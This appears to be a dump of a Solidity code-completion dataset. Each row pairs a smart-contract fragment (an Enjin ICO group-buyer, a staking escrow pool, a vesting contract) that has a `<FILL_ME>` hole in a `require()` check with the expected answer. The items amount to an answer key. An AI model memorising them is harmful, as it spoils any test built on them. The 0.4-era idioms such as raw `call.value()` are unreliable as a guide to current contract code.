}
// Allows developer to add ETH to the withdraw execution bounty.
function add_to_withdraw_bounty() payable {
}
// Buys tokens in the crowdsale and rewards the caller, callable by anyone.
function claim_bounty(){
// If we don't have eth_minimum eth in contract, don't buy in
// Enjin requires $1M minimum for 50% bonus
if (this.balance < eth_minimum) return;
// Short circuit to save gas if the contract has already bought tokens.
if (bought_tokens) return;
// Short circuit to save gas if the earliest buy time hasn't been reached.
if (now < earliest_buy_time) return;
// Short circuit to save gas if kill switch is active.
if (kill_switch) return;
// Disallow buying in if the developer hasn't set the sale address yet.
require(sale != 0x0);
// Record that the contract has bought the tokens.
bought_tokens = true;
// Store the claimed bounty in a temporary variable.
uint256 claimed_bounty = buy_bounty;
// Update bounty prior to sending to prevent recursive call.
buy_bounty = 0;
// Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance - (claimed_bounty + withdraw_bounty);
// Transfer all the funds (less the bounties) to the crowdsale address
// to buy tokens. Throws if the crowdsale hasn't started yet or has
// already completed, preventing loss of funds.
require(<FILL_ME>)
// Send the caller their bounty for buying tokens for the contract.
msg.sender.transfer(claimed_bounty);
}
// Default function. Called when a user sends ETH to the contract.
function () payable {
}
}
| sale.call.value(contract_eth_value)() | 297,794 | sale.call.value(contract_eth_value)() |
null | pragma solidity ^0.4.13;
/*
Enjin $1M Group Buyer
========================
Moves $1M worth of ETH into the Enjin presale multisig wallet
Enjin multisig wallet: 0xc4740f71323129669424d1Ae06c42AEE99da30e2
Modified version of /u/Cintix Monetha ICOBuyer
*/
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract EnjinBuyer {
// The minimum amount of eth required before the contract will buy in
// Enjin requires $1000000 @ 306.22 for 50% bonus
uint256 public eth_minimum = 3270 ether;
// Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
// Bounty for executing buy.
uint256 public buy_bounty;
// Bounty for executing withdrawals.
uint256 public withdraw_bounty;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
// Emergency kill switch in case a critical bug is found.
bool public kill_switch;
// SHA3 hash of kill switch password.
bytes32 password_hash = 0x48e4977ec30c7c773515e0fbbfdce3febcd33d11a34651c956d4502def3eac09;
// Earliest time contract is allowed to buy into the crowdsale.
// This time constant is in the past, not important for Enjin buyer, we will only purchase once
uint256 public earliest_buy_time = 1504188000;
// Maximum amount of user ETH contract will accept. Reduces risk of hard cap related failure.
uint256 public eth_cap = 5000 ether;
// The developer address.
address public developer = 0xA4f8506E30991434204BC43975079aD93C8C5651;
// The crowdsale address. Settable by the developer.
address public sale;
// The token address. Settable by the developer.
ERC20 public token;
// Allows the developer to set the crowdsale addresses.
function set_sale_address(address _sale) {
}
// Allows the developer to set the token address !
// Enjin does not release token address until public crowdsale
// In theory, developer could shaft everyone by setting incorrect token address
// Please be careful
function set_token_address(address _token) {
}
// Allows the developer or anyone with the password to shut down everything except withdrawals in emergencies.
function activate_kill_switch(string password) {
}
// Withdraws all ETH deposited or tokens purchased by the given user and rewards the caller.
function withdraw(address user){
}
// Allows developer to add ETH to the buy execution bounty.
function add_to_buy_bounty() payable {
}
// Allows developer to add ETH to the withdraw execution bounty.
function add_to_withdraw_bounty() payable {
}
// Buys tokens in the crowdsale and rewards the caller, callable by anyone.
function claim_bounty(){
}
// Default function. Called when a user sends ETH to the contract.
function () payable {
// Disallow deposits if kill switch is active.
require(<FILL_ME>)
// Only allow deposits if the contract hasn't already purchased the tokens.
require(!bought_tokens);
// Only allow deposits that won't exceed the contract's ETH cap.
require(this.balance < eth_cap);
// Update records of deposited ETH to include the received amount.
balances[msg.sender] += msg.value;
}
}
| !kill_switch | 297,794 | !kill_switch |
"only pools" | // SPDX-License-Identifier: MIT
// Forked from Merit Circle
pragma solidity 0.8.7;
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./base/BaseEscrowPool.sol";
import "./interfaces/IFancyStakingPool.sol";
import "./interfaces/ILiquidityMiningManager.sol";
contract FancyEscrowPool is BaseEscrowPool, IFancyStakingPool {
using Math for uint256;
using SafeERC20 for IMintableBurnableERC20;
uint256 public constant MIN_LOCK_DURATION = 10 minutes;
uint256 public immutable maxLockDuration;
mapping(address => Deposit[]) public depositsOf;
struct Deposit {
uint256 amount;
uint64 start;
uint64 end;
}
address public rewardSource;
ILiquidityMiningManager public liquidityMiningManager;
IMintableBurnableERC20 public immutable withdrawToken;
constructor(
string memory _name,
string memory _symbol,
address _withdrawToken,
address _rewardSource,
ILiquidityMiningManager _liquidityMiningManager,
uint256 _maxLockDuration
) BaseEscrowPool(_name, _symbol) {
}
event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from);
event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount);
function deposit(
uint256 _amount,
uint256 _duration,
address _receiver
) external override {
require(<FILL_ME>)
require(_amount > 0, "FancyEscrowPool.deposit: cannot deposit 0");
// Don't allow locking > maxLockDuration
uint256 duration = _duration.min(maxLockDuration);
// Enforce min lockup duration to prevent flash loan or MEV transaction ordering
duration = duration.max(MIN_LOCK_DURATION);
depositsOf[_receiver].push(
Deposit({
amount: _amount,
start: uint64(block.timestamp),
end: uint64(block.timestamp) + uint64(duration)
})
);
_mint(_receiver, _amount);
emit Deposited(_amount, duration, _receiver, _msgSender());
}
function withdraw(uint256 _depositId, address _receiver) external {
}
function getTotalDeposit(address _account) public view returns (uint256) {
}
function getDepositsOf(address _account) public view returns (Deposit[] memory) {
}
function getDepositsOfLength(address _account) public view returns (uint256) {
}
}
| liquidityMiningManager.getPoolAdded(msg.sender),"only pools" | 297,802 | liquidityMiningManager.getPoolAdded(msg.sender) |
null | /**
* @title Standalone Vesting logic to be added in token
* @dev Beneficiary can have at most one VestingGrant only, we do not support adding two vesting grants of vesting grant to same address.
* Token transfer related logic is not handled in this class for simplicity and modularity purpose
*/
contract Vesting {
using SafeMath for uint256;
struct VestingGrant {
uint256 grantedAmount; // 32 bytes
uint64 start;
uint64 cliff;
uint64 vesting; // 3 * 8 = 24 bytes
} // total 56 bytes = 2 sstore per operation (32 per sstore)
mapping (address => VestingGrant) public grants;
event VestingGrantSet(address indexed to, uint256 grantedAmount, uint64 vesting);
function getVestingGrantAmount(address _to) public view returns (uint256) {
}
/**
* @dev Set vesting grant to a specified address
* @param _to address The address which the vesting amount will be granted to.
* @param _grantedAmount uint256 The amount to be granted.
* @param _start uint64 Time of the beginning of the grant.
* @param _cliff uint64 Time of the cliff period.
* @param _vesting uint64 The vesting period.
* @param _override bool Must be true if you are overriding vesting grant that has been set before
* this is to prevent accidental overwriting vesting grant
*/
function setVestingGrant(address _to, uint256 _grantedAmount, uint64 _start, uint64 _cliff, uint64 _vesting, bool _override) public {
// Check for date inconsistencies that may cause unexpected behavior
require(_cliff >= _start && _vesting >= _cliff);
// only one vesting logic per address, and once set to update _override flag is required
require(<FILL_ME>)
grants[_to] = VestingGrant(_grantedAmount, _start, _cliff, _vesting);
VestingGrantSet(_to, _grantedAmount, _vesting);
}
/**
* @dev Calculate amount of vested amounts at a specific time (monthly graded)
* @param grantedAmount uint256 The amount of amounts granted
* @param time uint64 The time to be checked
* @param start uint64 The time representing the beginning of the grant
* @param cliff uint64 The cliff period, the period before nothing can be paid out
* @param vesting uint64 The vesting period
* @return An uint256 representing the vested amounts
* | _/-------- vestedTokens rect
* | _/
* | _/
* | _/
* | _/
* | /
* | .|
* | . |
* | . |
* | . |
* | . |
* | . |
* +===+===========+---------+----------> time
* Start Cliff Vesting
*/
function calculateVested (
uint256 grantedAmount,
uint256 time,
uint256 start,
uint256 cliff,
uint256 vesting) internal pure returns (uint256)
{
}
function calculateLocked (
uint256 grantedAmount,
uint256 time,
uint256 start,
uint256 cliff,
uint256 vesting) internal pure returns (uint256)
{
}
/**
* @dev Gets the locked amount of a given beneficiary, ie. non vested amount, at a specific time.
* @param _to The beneficiary to be checked.
* @param _time uint64 The time to be checked
* @return An uint256 representing the non vested amounts of a specific grant on the
* passed time frame.
*/
function getLockedAmountOf(address _to, uint256 _time) public view returns (uint256) {
}
}
| grants[_to].grantedAmount==0||_override | 297,899 | grants[_to].grantedAmount==0||_override |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.